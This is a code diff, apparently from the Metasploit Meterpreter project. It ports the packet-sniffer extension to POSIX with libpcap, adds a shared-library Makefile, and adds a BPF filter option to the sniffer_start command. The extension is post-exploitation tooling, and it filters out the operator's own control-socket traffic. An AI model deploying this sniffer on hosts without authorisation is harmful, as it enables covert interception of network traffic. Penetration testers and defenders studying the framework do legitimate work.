memset(sniffer_includeports, 0, sizeof(sniffer_includeports));
|
||||||
memset(sniffer_excludeports, 0, sizeof(sniffer_excludeports));
|
memset(sniffer_excludeports, 0, sizeof(sniffer_excludeports));
|
||||||
sniffer_includeports[0] = -1;
|
sniffer_includeports[0] = -1;
|
||||||
sniffer_excludeports[0] = -1;
|
sniffer_excludeports[0] = -1;
|
||||||
|
#endif
|
||||||
|
|
||||||
// get the address/port of the connected control socket
|
// get the address/port of the connected control socket
|
||||||
peername4 = NULL;
|
peername4 = NULL;
|
||||||
|
@ -642,8 +970,34 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||||
if(peername.sa_family == PF_INET) peername4 = (struct sockaddr_in *)&peername;
|
if(peername.sa_family == PF_INET) peername4 = (struct sockaddr_in *)&peername;
|
||||||
if(peername.sa_family == PF_INET6) peername6 = (struct sockaddr_in6 *)&peername;
|
if(peername.sa_family == PF_INET6) peername6 = (struct sockaddr_in6 *)&peername;
|
||||||
|
|
||||||
snifferm = CreateMutex(NULL, FALSE, NULL);
|
snifferm = lock_create();
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
return hErr;
|
return hErr;
|
||||||
|
#else
|
||||||
|
if(peername4 || peername6) {
|
||||||
|
int port;
|
||||||
|
char buf[256]; // future proof :-)
|
||||||
|
|
||||||
|
memset(buf, 0, sizeof(buf));
|
||||||
|
|
||||||
|
if(peername4) {
|
||||||
|
inet_ntop(AF_INET, &peername4->sin_addr, buf, sizeof(buf)-1);
|
||||||
|
port = ntohs(peername4->sin_port);
|
||||||
|
} else {
|
||||||
|
inet_ntop(AF_INET6, &peername6->sin6_addr, buf, sizeof(buf)-1);
|
||||||
|
port = ntohs(peername6->sin6_port);
|
||||||
|
}
|
||||||
|
|
||||||
|
asprintf(&packet_filter, "not (ip%s host %s and tcp port %d)", peername4 ? "" : "6", buf, port);
|
||||||
|
dprintf("[%s] so our filter is '%s'", __FUNCTION__, packet_filter);
|
||||||
|
} else {
|
||||||
|
dprintf("[%s] hold on to your seats. no filter applied :~(", __FUNCTION__);
|
||||||
|
}
|
||||||
|
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
#endif
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/*
|
/*
|
||||||
|
@ -657,7 +1011,16 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||||
customCommands[index].method;
|
customCommands[index].method;
|
||||||
index++)
|
index++)
|
||||||
command_deregister(&customCommands[index]);
|
command_deregister(&customCommands[index]);
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
MgrDestroy(hMgr);
|
MgrDestroy(hMgr);
|
||||||
CloseHandle(snifferm);
|
#else
|
||||||
|
if(packet_filter) {
|
||||||
|
free(packet_filter);
|
||||||
|
packet_filter = NULL;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
lock_destroy(snifferm);
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#ifndef _METERPRETER_SOURCE_EXTENSION_SNIFFER_SNIFFER_H
|
#ifndef _METERPRETER_SOURCE_EXTENSION_SNIFFER_SNIFFER_H
|
||||||
#define _METERPRETER_SOURCE_EXTENSION_SNIFFER_SNIFFER_H
|
#define _METERPRETER_SOURCE_EXTENSION_SNIFFER_SNIFFER_H
|
||||||
|
|
||||||
#include "../../common/common.h"
|
#ifdef _WIN32
|
||||||
|
|
||||||
#include <winsock2.h>
|
#include <winsock2.h>
|
||||||
#include <ws2tcpip.h>
|
#include <ws2tcpip.h>
|
||||||
|
@ -9,6 +9,18 @@
|
||||||
#include "HNPsSdkUser.h"
|
#include "HNPsSdkUser.h"
|
||||||
#include "dnet.h"
|
#include "dnet.h"
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
|
#include <pcap/pcap.h>
|
||||||
|
|
||||||
|
#ifndef ERROR_ACCESS_DENIED
|
||||||
|
#define ERROR_ACCESS_DENIED EACCES
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include "../../common/common.h"
|
||||||
|
|
||||||
typedef struct capturejob
|
typedef struct capturejob
|
||||||
{
|
{
|
||||||
unsigned int active;
|
unsigned int active;
|
||||||
|
@ -23,6 +35,10 @@ typedef struct capturejob
|
||||||
unsigned char *dbuf;
|
unsigned char *dbuf;
|
||||||
unsigned int dlen;
|
unsigned int dlen;
|
||||||
unsigned int didx;
|
unsigned int didx;
|
||||||
|
#ifndef _WIN32
|
||||||
|
THREAD *thread;
|
||||||
|
pcap_t *pcap;
|
||||||
|
#endif
|
||||||
} CaptureJob;
|
} CaptureJob;
|
||||||
|
|
||||||
#define TLV_TYPE_EXTENSION_SNIFFER 0
|
#define TLV_TYPE_EXTENSION_SNIFFER 0
|
||||||
|
@ -82,4 +98,10 @@ typedef struct capturejob
|
||||||
TLV_TYPE_EXTENSION_SNIFFER, \
|
TLV_TYPE_EXTENSION_SNIFFER, \
|
||||||
TLV_EXTENSIONS + 9)
|
TLV_EXTENSIONS + 9)
|
||||||
|
|
||||||
|
#define TLV_TYPE_SNIFFER_ADDITIONAL_FILTER \
|
||||||
|
MAKE_CUSTOM_TLV( \
|
||||||
|
TLV_META_TYPE_STRING, \
|
||||||
|
TLV_TYPE_EXTENSION_SNIFFER, \
|
||||||
|
TLV_EXTENSIONS + 10)
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|
|
@ -0,0 +1,30 @@
|
||||||
|
VPATH=../../source/extensions/sniffer
|
||||||
|
|
||||||
|
OPENSSL=${PWD}/../../source/openssl/include
|
||||||
|
COMMON=${PWD}/../../source/common
|
||||||
|
SERVER=../../source/server
|
||||||
|
PCAP=../../source/libpcap
|
||||||
|
|
||||||
|
CFLAGS=-fno-stack-protector -nostdinc -nostdlib -fPIC -DPIC -g -Wall
|
||||||
|
CFLAGS+=-D_UNIX -D__linux__
|
||||||
|
CFLAGS+=-I${COMMON} -I${SERVER} -I${OPENSSL} -I${PCAP}
|
||||||
|
CFLAGS+= -I ../../source/bionic/libc/include -I ../../source/bionic/libc/kernel/common/linux/ -I ../../source/bionic/libc/kernel/common/ -I ../../source/bionic/libc/arch-x86/include/
|
||||||
|
CFLAGS+= -I ../../source/bionic/libc/kernel/arch-x86/
|
||||||
|
CFLAGS+= -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -DElf_Size="u_int32_t"
|
||||||
|
CFLAGS+= -D_BYTE_ORDER=_LITTLE_ENDIAN
|
||||||
|
CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+
|
||||||
|
CFLAGS+= -fPIC -Os
|
||||||
|
CFLAGS+= -I../../source/extensions/networkpug -lc -lpcap -lsupport -lmetsrv_main
|
||||||
|
CFLAGS+= -I.
|
||||||
|
|
||||||
|
objects = sniffer.o
|
||||||
|
|
||||||
|
all: ext_server_sniffer.so
|
||||||
|
|
||||||
|
|
||||||
|
ext_server_sniffer.so: $(objects)
|
||||||
|
$(CC) -shared $(CFLAGS) -o $@ $(objects)
|
||||||
|
|
||||||
|
.PHONY: clean
|
||||||
|
clean:
|
||||||
|
rm -f *.o *.so *~; rm -f $(objects)
|
|
@ -47,10 +47,11 @@ class Sniffer < Extension
|
||||||
end
|
end
|
||||||
|
|
||||||
# Start a packet capture on an opened interface
|
# Start a packet capture on an opened interface
|
||||||
def capture_start(intf,maxp=200000)
|
def capture_start(intf,maxp=200000,filter="")
|
||||||
request = Packet.create_request('sniffer_capture_start')
|
request = Packet.create_request('sniffer_capture_start')
|
||||||
request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
|
request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
|
||||||
request.add_tlv(TLV_TYPE_SNIFFER_PACKET_COUNT, maxp.to_i)
|
request.add_tlv(TLV_TYPE_SNIFFER_PACKET_COUNT, maxp.to_i)
|
||||||
|
request.add_tlv(TLV_TYPE_SNIFFER_ADDITIONAL_FILTER, filter) if filter.length
|
||||||
response = client.send_request(request)
|
response = client.send_request(request)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -17,6 +17,8 @@ TLV_TYPE_SNIFFER_INCLUDE_PORTS = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_SNIFF
|
||||||
TLV_TYPE_SNIFFER_PACKETS = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_SNIFFER + TLV_EXTENSIONS + 8)
|
TLV_TYPE_SNIFFER_PACKETS = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_SNIFFER + TLV_EXTENSIONS + 8)
|
||||||
TLV_TYPE_SNIFFER_PACKET = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_SNIFFER + TLV_EXTENSIONS + 9)
|
TLV_TYPE_SNIFFER_PACKET = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_SNIFFER + TLV_EXTENSIONS + 9)
|
||||||
|
|
||||||
|
TLV_TYPE_SNIFFER_ADDITIONAL_FILTER = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_SNIFFER + TLV_EXTENSIONS + 10)
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -58,13 +58,14 @@ class Console::CommandDispatcher::Sniffer
|
||||||
def cmd_sniffer_start(*args)
|
def cmd_sniffer_start(*args)
|
||||||
intf = args[0].to_i
|
intf = args[0].to_i
|
||||||
if (intf == 0)
|
if (intf == 0)
|
||||||
print_error("Usage: sniffer_start [interface-id] [packet-buffer (1-200000)]")
|
print_error("Usage: sniffer_start [interface-id] [packet-buffer (1-200000)] [bpf filter (posix meterpreter only)]")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
maxp = args[1].to_i
|
maxp = args[1].to_i
|
||||||
maxp = 50000 if maxp == 0
|
maxp = 50000 if maxp == 0
|
||||||
|
filter = args[2..-1].join(" ")
|
||||||
|
|
||||||
client.sniffer.capture_start(intf, maxp)
|
client.sniffer.capture_start(intf, maxp, filter)
|
||||||
print_status("Capture started on interface #{intf} (#{maxp} packet buffer)")
|
print_status("Capture started on interface #{intf} (#{maxp} packet buffer)")
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue